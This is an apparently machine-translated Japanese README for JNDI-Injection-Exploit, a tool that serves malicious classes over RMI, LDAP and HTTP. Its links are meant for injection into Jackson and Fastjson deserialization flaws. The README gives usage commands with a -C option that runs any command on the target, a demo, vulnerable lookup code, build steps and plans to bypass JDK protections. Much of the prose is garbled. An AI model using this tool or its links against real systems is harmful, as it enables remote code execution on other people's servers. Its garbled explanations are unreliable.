入門
:最近のツールのJNDIで自分自身を注入する前に書きましたがgithubの、アドレスにビットプッシュを変更RMI、LDAPを含む3つのサービスを、開くためのツールを起動した後https://github.com/welk1n/JNDI-Injection-Exploit、 HTTPサービス、およびその後、JNDIのリンクを生成します。JNDIリンクはジャクソン、Fastjsonのデシリアライゼーションの脆弱性として、テスト注入JNDI関連POCに挿入することができます。
3つのサービス、RMI、およびLDAPベースのmarshalsec RMIRefServerで、LDAPRefServerクラス改正、1099年と1389年にそれぞれポートを監視し、HTTPSERVERは、ダウンロード悪質なクラスを提供します。
使用
JARパッケージの実行可能プログラムは、コマンドラインで次のコマンドを実行します。
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
どこで:
-C -クラスリモートコマンドファイルが実行されます。
(オプションは、デフォルトのコマンドは、MACの下で電卓を開くことです、それは「オープン/Applications/Calculator.app」です)
-A -サーバーのアドレスは、IPアドレスまたはドメイン名を指定できます。
(オプションで、デフォルトのアドレスは、最初のネットワークカードのアドレスです)
注意:
ことを確実にするために1099、1389を、8180ポートが利用可能であり、別のプログラムによって使用されていません。
それとも、run.ServerStartクラス26〜28行のデフォルトのポートを変更することができます。
コマンドは、パラメータとして渡されますRuntime.getRuntime()。Execの() 、
入ってくるコマンドのexec()メソッドを実行することができるようにする必要があります。
例
現地デモンストレーション:
JNDIインジェクション-エクスプロイト起動します。
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C open /Applications/Calculator.app -A 127.0.0.1
スクリーンショット:
私たちは、JNDIリンクは次のコードの脆弱性を説明することが容易になり、脆弱に注入された環境を模倣するアプリケーション環境での最初のステップを生成する必要があります。
public static void main(String[] args) throws Exception{ InitialContext ctx = new InitialContext(); ctx.lookup("rmi://127.0.0.1/fgf4fp"); }
上記のコードを実行すると、アプリケーションが対応するコマンドを実行しますが、ここではポップアップ電卓で、何のショットは、あなたがそれを自分でテストすることはできません。
スクリーンショットは、サーバー側のロギングツールです。
インストール
次の2つの方法がジャーパッケージすることができ
Realease直接ダウンロードジャー。
ソースコードは、独自のパッケージをコンパイルローカルにダウンロードされます。(+ Java1.7 +でテストされ、Java1.8 + Mavenの3.x環境とすることができます)
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests
達成するためのツール
シンプルで小さなツールの実装を書きます
- まずcodebaseClassは6ランダムでリンクを背生成する彼らは、それ自体が監視または傍受されるの特徴となっツールによって生成されたリンクを許可したくないので、これがあります。
- サーバアドレスの実際のアドレスは、HTTPサーバが無脳より自動化された以上、対応するクラスを返し始める一緒に、自動的にJNDIサーバやHTTPサーバのバインドに、このツールをJNDIサーバーをmarshalsecと比べ、コードベースです。
- HTTPサーバーベースのサーブレットの桟橋をより面白く、私はリソースコンパイラの良いクラステンプレートディレクトリに進めることで、実際には、ファイルをダウンロードすることができ、実現し、読み取ることがASMバイトコードのフレームワークを使用して、サーブレットクラスファイルを読み込み、私はASMの下で、当然の結果から、純粋の使用を体験したいRMIRefServer使用Javassistの、参照があるので、修正してから、私たちは実際にはシンプルでより便利にJavassistの使用変更されたバイトコードを実行して返すようにしたいコマンドを挿入すべて同じを見て。
達成すべき
- falseにJDK trustURLCodebase環境変数のそれ以降のバージョンでは、負荷の遠隔授業を制限し、私は時間を見つけるでしょうJNDIインジェクション・バイパス、このプロジェクトには、このプロジェクトの事制限JNDI JDKを回避するためのリンクを生成することができます。
- ... ...